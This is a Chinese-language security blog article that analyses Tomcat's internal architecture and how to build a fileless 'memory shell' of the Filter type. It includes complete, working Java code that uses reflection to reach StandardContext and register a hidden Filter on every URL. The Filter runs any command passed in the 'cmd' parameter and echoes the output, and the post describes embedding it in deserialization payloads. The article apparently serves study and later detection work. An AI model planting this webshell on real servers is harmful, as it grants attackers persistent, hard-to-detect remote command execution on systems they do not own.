Tomcat 内存马技术分析（一）—— Filter型

360安全客 安全知识 18665 4

 

内存马技术早在前几年就已经在广泛使用，通俗的名字为不落地马或者无文件马。这种马的实现技术相对于传统马来说更为复杂，但是随着产品安全防护等级的不断提高，内存马技术也就运用而生。好在是这一块领域很多师傅都以已经趟过坑了，笔者站在巨人的肩膀上总结梳理内存马技术，打算出一个系列专题详细分析tomcat内存马的不同类型以及其内存马检测及查杀技术。

 

0x01 内存马种类

现有的内存马主要分为四个类型，Listener型、Filter型、Servlet型以及Agent型，不同类型的内存马涉及到的知识点也不太一样。在用户请求网站的时候, 前三个内存马的触发顺序为Listener -> Filter -> Servlet。

0x1 Listener型

一开始在学习Tomcat内存马技术的时候，对该Listener型内存木马有些生疏。Listener是Java web中的监听器，不熟悉的小伙伴很容易将Listener理解成跟端口监听有关的功能模块，其实这里的监听指的是监测某个java对象成员变量或成员方法的变化，当被监听对象发生上述变化后，监听器某个方法将会被立即执行。Listener内存马是通过动态注册一个Listener，其监听到某个参数传入时，触发某个监听器方法，实现内存马功能。

0x2 Filter型

如上图所示Filter处在请求处理的关键位置，如果是写过Java web的小伙伴，必然对Filter的配置有深刻的印象，一般在项目的web.xml中注册Filter来对某个Servlet程序进行拦截处理。这个注册的Filter就变成了客户端访问和最终负责请求数据处理之间的必经之路，如果我们对Filter中的内容进行修改，就可以实现请求数据预处理。

0x3 Servlet型

Servlet在Java web开发和安全审计中最常用到的名词，Servlet一般与访问路由对应。Servlet的生命周期在Web容器启动的时候就开始了，当Context获得请求时，将在自己的映射表中寻找相匹配的Servlet类。Servlet型的核心原理是注册一个恶意的Servlet，并把Servlet与相对应的URL绑定。

 

0x02 Tomcat 架构分析

内存马的学习过程其实和反序列化很相似，如果会使用内存马很简单，但是要知道如何构造就需要很多前置知识。这就好比在学反序列化时要学习反射和动态代理等java的特性。那么在学习Tomcat内存马的时候就需要掌握Tomcat相关架构特性。

0x1 简介

Tomcat是一个免费的开放源代码的Servlet容器，Tomcat 容器是对 Servlet 规范的实现，也称为 Servlet 引擎。Tomcat为了更好的处理来自客户端的请求，设计了一套功能完善的处理引擎，其中包括了Container、Engine、Host、Context、Wrapper等模块功能。笔者重点分析他们之间的关联关系及架构组成。

0x2 架构组成

从上图可以粗略的分析出他们之间的层级调用关系。

  • Server：表示整个 Tomcat Catalina servlet 容器，Server 中可以有多个 Service。
  • Service：表示Connector和Engine的组合，对外提供服务，Service可以包含多个Connector和一个Engine。
  • Connector：为Tomcat Engine的连接组件，支持三种协议：HTTP/1.1、HTTP/2.0、AJP。
  • Container：负责封装和管理Servlet 处理用户的servlet请求，把socket数据封装成Request，传递给Engine来处理。
  • Engine：顶级容器，不能被其他容器包含，它接受处理连接器的所有请求，并将响应返回相应的连接器，子容器通常是 Host 或 Context。
  • Host：表示一个虚拟主机，包含主机名称和IP地址，这里默认是localhost，父容器是 Engine，子容器是 Context。
  • Context：表示一个 Web 应用程序，是 Servlet、Filter 的父容器。
  • Wrapper：表示一个 Servlet，它负责管理 Servlet 的生命周期，并提供了方便的机制使用拦截器。

0x3 关联关系

、

从一次服务访问请求探究他们之间的组成关系，如上图所示，配置了HTTP和Ajp两个对外开放端口，同时对应了两个Connector分别负责请求数据包的封包、处理、转发工作，该过程如下图Connector中显示的操作流程。Connector将解析好的Request对象传递给Container，Container 使用Pipeline-Valve管道来处理请求，如下图Pipeline请求流程。直到WrapperValve创建并调用ApplicationFilterChain，最后调用Servlet执行路由处理。

0x4 Connector

Connector是Tomcat中的连接器，在Tomcat启动时它将监听配置文件中配置的服务端口，从端口中接受数据，并封装成Request对象传递给Container组件，如下图所示：

tomcat 中 ProtocolHandler 的默认实现类是 Http11NioProtocol，在高版本tomcat中Http11Nio2Protocol也是其中的一个实现类。

ProtocolHandler来处理网络连接和应用层协议，包含两个重要组件：endpoint和processor，endpoint是通信端点，即通信监听的接口，是具体的socket接受和发送处理器，是对传输层的抽象，processor接受来自endpoint的socket，读取字节流解析成Tomcat的request和response对象，并通过adapter将其提交到容器处理，processor是对应用层协议的抽象。总结如下：

  • endpoint：处理来自客户端的连接请求。
  • processor：接受来自endpoint的socket，读取字节流解析成Tomcat的request和response对象。
  • adapter：将封装好的request转交给Container处理，连接Connector和Container。

0x5 Container

在Tomcat中，容器（Container）主要包括四种，Engine、Host、Context和Wrapper。也就是这个图中包含的四个子容器。由下图可以看出，Container在处理请求时使用的Pipeline管道，Pipeline 是一个很常用的处理模型，和 FilterChain 大同小异，都是责任链模式的实现，Pipeline 内部有多个 Valve，这些 Valve 因栈的特性都有机会处理请求和响应。上层的Valve会调用下层容器管道，一步一步执行到FilterChain过滤链。

0x6 Context

servletContext负责的是servlet运行环境上下信息，不关心session管理，cookie管理，servlet的加载，servlet的选择问题，请求信息，主要负责servlet的管理。

StandardContext主要负责管理session，Cookie，Servlet的加载和卸载，负责请求信息的处理，掌握控制权。ServletContext主要是适配Servlet规范，StandardContext是tomcat的一种容器，当然两者存在相互对应的关系。

在Tomcat中对应的ServletContext实现是ApplicationContext。Tomcat惯用Facade方式，因此在web应用程序中获取到的ServletContext实例实际上是一个ApplicationContextFacade对象，对ApplicationContext实例进行了封装。而ApplicationContext实例中含有Tomcat的Context容器实例（StandardContext实例，也就是在server.xml中配置的Context节点），以此来获取/操作Tomcat容器内部的一些信息，例如获取/注册servlet等。Filter内存马的实现也是基于此知识点获取到了存储在StandardContext中的filterConfigs HashMap结构。

 

0x03 环境搭建

采用简单的Spring-boot可以快速搭建web项目，并且使用Spring内置的轻量级Tomcat服务，虽然该Tomcat阉割了很多功能，但是基本够用。整个demo放在了github上，地址为https://github.com/BabyTeam1024/TomcatResponseLearn

0x1 创建项目

选择Spring Initializr

0x2 添加代码

在项目的package中创建controller文件夹，并编写TestController类

package com.example.tomcatresponselearn.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@Controller
@RequestMapping("/app")
public class TestController {

    @RequestMapping("/test")
    @ResponseBody
    public String testDemo(String input, HttpServletResponse response) throws IOException {

        return "Hello World!";
    }
}

正常在编写Spring-boot代码的时候是不需要在testDemo函数中添加调用参数的。这里为了方便查看Response对象，因此在该函数上添加了HttpServletResponse。

0x3 添加Maven地址

在ubuntu上搭建环境的时候遇到了依赖包下载失败的情况。

添加如下仓库地址即可解决问题

https://repo.maven.apache.org/maven2

 

0x04 Filter内存马

0x1 Tomcat 加载注册Filter

在StandardContext类中的startInternal方法里可以看到这样的加载顺序

先启动listener，再者是Filter，最后是Servlet。详细分析filterStart中是如何加载Filter链的，相关代码如下图所示：

首先通过遍历从filterDefs中获取key和value，将value封装为ApplicationFilterConfig对象放入filterConfigs变量中。

笔者为了研究Tomcat在启动时是如何将Filter添加到FilterMap中的，于是在StandardContext类的add方法中下了断点，如下图所示：

根据调用栈可以溯源Tomcat是如何加载这些filter的，如下图所示：

根据该调用栈可以发现Tomcat是通过addMappingForUrlPatterns实现Filter加载，该部分代码如下图所示：

servletContext.addFilter中的实现逻辑如下

filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
this.context.addFilterDef(filterDef);

在addFilter函数的最后创建并返回了ApplicationFilterRegistration对象，并通过addMappingForUrlPatterns方法注册路由，相关实现逻辑如下：

FilterMap filterMap = new FilterMap();
filterMap.setFilterName(this.filterDef.getFilterName());
filterMap.setDispatcher(dispatcherType.name());
filterMap.addURLPattern(urlPattern);
this.context.addFilterMapBefore(filterMap);

其中涉及到了三个比较重要的变量：

  • filterDefs：包含过滤器实例和名称
  • filterMaps：包含所有过滤器的URL映射关系
  • filterConfigs：包含所有与过滤器对应的filterDef信息及过滤器实例

0x2 动态添加Filter

根据Tomcat注册Filter的操作，可以大概得到如何动态添加一个Filter

  • 获取standardContext
  • 创建Filter
  • 使用filterDef封装Filter对象，将filterDef添加到filterDefs
  • 创建filterMap，将URL和filter进行绑定，添加到filterMaps中
  • 使用ApplicationFilterConfig封装filterDef对象，添加到filterConfigs中

通过分析得到动态添加Filter只需5个步骤，下面笔者将根据Tomcat注册Filter的操作，通过反射操作实现动态添加Filter。

1. 获取standardContext

获取standardContext多种多样，StandardContext主要负责管理session，Cookie，Servlet的加载和卸载。因此在Tomcat中的很多地方都有保存。如果我们能够直接获取request的时候，可以使用以下方法直接获取context。
Tomcat在启动时会为每个Context都创建个ServletContext对象，表示一个Context。从而可以将ServletContext转化为StandardContext。
​

ServletContext servletContext = request.getSession().getServletContext();

Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

获取到standardContext就可以很方便的将其他对象添加在Tomcat Context中。

2. 创建Filter

直接在代码中实现Filter实例，需要重写三个重要方法，init、doFilter、destory，如下面代码所示：

Filter filter = new Filter() {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null){
            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            servletResponse.getWriter().write(output);
            return;
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {
    }
};

在doFilter方法中实现命令执行回显功能。

3. 创建filterDef封装Filter对象

为了之后将内存马融合进反序列化payload中，这里特意使用反射获取FilterDef对象。如果使用的是jsp或者是非反序列化的利用，那么可以直接使用new创建对象。

Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);

setFilter方法将自己创建的Filter绑定在FilterDef中，setFilterName设置的是Filter的名称，最后把FilterDef添加在standardContext的FilterDefs变量中。

4. 创建filterMap绑定URL

通过反射创建FilterMap实例，该部分代码主要是注册filter的生效路由，并将FilterMap对象添加在standardContext中FilterMaps变量的第一个。

Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());//只支持 Tomcat 7.x 以上
standardContext.addFilterMapBefore(o1);

5. 获取filterConfigs变量，并向其中添加filterConfig对象

首先获取在standardContext中存储的filterConfigs变量。

Configs = StandardContext.class.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

之后通过反射生成ApplicationFilterConfig对象，并将其放入filterConfigs hashMap中。

Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);

0x3 完整代码

完整代码主要参照了nice_0e3师傅的文章，在最后结果输出的时候要注意如果有两次response结果需要将第一次的Writer flush 掉，避免在后台报错。

Field Configs = null;
Map filterConfigs;
try {
    //Step 1
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    String FilterName = "cmd_Filter";
    Configs = StandardContext.class.getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    filterConfigs = (Map) Configs.get(standardContext);
    //Step 2
    if (filterConfigs.get(FilterName) == null){
        Filter filter = new Filter() {

            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){

                    InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
                    //
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);

                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }
            @Override
            public void destroy() {
            }
        };
        //Step 3
        Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
        Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
        FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
        o.setFilter(filter);
        o.setFilterName(FilterName);
        o.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(o);
        //Step 4
        Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
        Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
        org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();

        o1.addURLPattern("/*");
        o1.setFilterName(FilterName);
        o1.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(o1);

        //Step 5
        Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
        Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
        declaredConstructor1.setAccessible(true);
        ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
        filterConfigs.put(FilterName,filterConfig);
    }
} catch (Exception e) {
    e.printStackTrace();
}

 

0x05 总结

本文主要学习了Tomcat架构组成及各模块组件之间的关联关系，重点分析Connector、Container和Context在整个数据请求处理过程中发挥的作用。通过梳理Tomcat在启动过程中FilterChain的注册流程，分析清楚如何动态注册加载自己设计的Filter对象。之后的文章将继续分析Tomcat内存马Listener、Servlet等实现技术以及各种查杀技术，最后感谢各位师傅关于内存马知识的总结分享。

 

参考文章

https://blog.szfszf.top/article/49/
https://uuzdaisuki.com/2021/06/29/tomcat%E6%97%A0%E6%96%87%E4%BB%B6%E5%86%85%E5%AD%98webshell/
https://paper.seebug.org/1441/#1jsp-webshell
https://blog.csdn.net/littlewhitevg/article/details/107671946
https://www.cnblogs.com/chuonye/p/10770984.html

（完）